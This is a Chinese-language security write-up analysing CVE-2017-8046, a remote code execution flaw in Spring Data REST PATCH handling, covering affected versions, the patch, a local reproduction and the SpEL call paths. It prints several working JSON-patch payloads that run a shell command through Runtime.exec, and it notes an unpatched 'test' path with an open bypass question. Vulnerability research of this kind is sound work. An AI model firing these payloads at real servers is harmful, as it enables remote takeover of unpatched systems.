來源:先知安全技術社區
作者:廖新喜

1 綜述

近日,Pivotal 官方發布通告表示 Spring-data-rest 服務器在處理 PATCH 請求時存在一個遠程代碼執行漏洞(CVE-2017-8046)。攻擊者可以構造惡意的 PATCH 請求并發送給 spring-date-rest 服務器,通過構造好的 JSON 數據來執行任意 Java 代碼。官方已經發布了新版本修復了該漏洞。

相關地址: https://pivotal.io/security/cve-2017-8046

受影響的版本

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

不受影響的版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

解決方案:

官方已經發布了新版本修復了該漏洞,受影響的用戶請盡快升級至最新版本來防護該漏洞。

參考鏈接:

https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 補丁分析

從官方的描述來看就是就是 Spring-data-rest 服務處理 PATCH 請求不當,導致任意表達式執行從而導致的 RCE。

首先來看下補丁,主要是 evaluateValueFromTarget 添加了一個校驗方法 verifyPath,對于不合規格的 path 直接報異常退出,主要是 property.from(pathSource,type)實現,基本邏輯就是通過反射去驗證該 Field 是否存在于 bean 中。

3 復現

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到 spring-rest-data 這個項目,直接用 IDEA 一步步導入進去即可,直接運行就能看到在本地的 8080 端口起了 jetty 服務。但是請注意這編譯好的是最新版本,要引入漏洞,當然得老版本,修改 pom.xml,添加 plugin,具體如下:

<dependency>
   <groupId>org.springframework.data</groupId>
   <artifactId>spring-data-rest-webmvc</artifactId>
   <version>3.0.0.RC2</version>
</dependency>

從項目 test 目錄找到相關請求形式,發送http://127.0.0.1:8080/api/cities/1即可看到回顯表明服務正常啟動。測試 poc 的效果如下:

這個 poc 的幾個關鍵點在于:Content-Type: application/json-patch+json,path路徑一定得用斜杠/隔開,至于為什么,后續會講到。op 支持的操作符很多,包括 test,add,replace 等都可以觸發,op 不同,path 中添加的 poc 可以不一樣,如 op 為 test 時就少了很多限制。如下是 op 為 add 時候的請求 body。

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

執行 ping 192.168.3.106

4 分析

漏洞的觸發過程詳細分析見文檔 ,這里已經描述的比較清楚,在這里不再重述,這篇文檔后續的分析主要是對 poc 的一些解讀。

隨便拿一個以前 spring 表達式注入的 poc 作為 path 的參數值,如 poc:

[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]

這個請求的特別之處在于 path 字段值后邊沒有了斜杠。

會報如下錯誤:

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
    at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

說明 path 參數確實被污染,此處存在表達式注入漏洞,雖然已經進入表達式的執行流程,但是這里卻報錯退出。離 RCE 還差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
   throw new SpelEvaluationException(getStartPosition(),
         SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

這個方法直接拋出異常,那看來 poc 離執行還有一段距離。直接調出setValue的實現,發現有五個地方重寫了該方法。SpelNodeImpl 的 setValue 也在其中,但是它是直接拋出異常的,算一個異常檢查吧。查看他們的實現,只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在執行表達式。

查看相關文檔得知 CompoundExpression 是復雜表達式,用.連接起來的都算。

Indexer 一般是這么表示 test[xxlegend],那么可以把 poc 改成

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]

這也是可以運行的。再看調用棧也是符合我們剛才理解到

SpelExpression.setValue--》 CompoundExpression.setValue--》 CompoundExpression.getValueRef--》 Indexer.getValueRef--》 PropertyOrFieldReference.getValueInternal--》 PropertyOrFieldReference.readProperty

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是講 path 參數,也就是表達式的寫法。在這個 poc 中還用到 op 參數,op 表示要執行的動作,在代碼中定義了add,copy,from,move,replace,test 這么多操作值,add,test,replace 可直接觸發漏洞,并且 test 非常直接,path 參數值無需斜杠/,[]來分割,poc 如下:

[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]

很明顯這個 poc 的 path 參數值無線跟/ []來分割參數。原因就是它調用的是 SpelExpression.getValue,而非 test 情況下的 poc 最終調用的都是 SpelExpression.setValue,通過 setValue 調用 getValueRef 來達到表達式注入。

下面看看test的調用棧:

這個點官方也沒修,但是有個限制:

@Override
<T> void perform(Object target, Class<T> type) {

   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));

   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}

evaluateValueFromTarget 運行在前,會報錯退出,導致 getValueFromTarget 不會被執行,怎么繞過去呢?值得思考。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/410/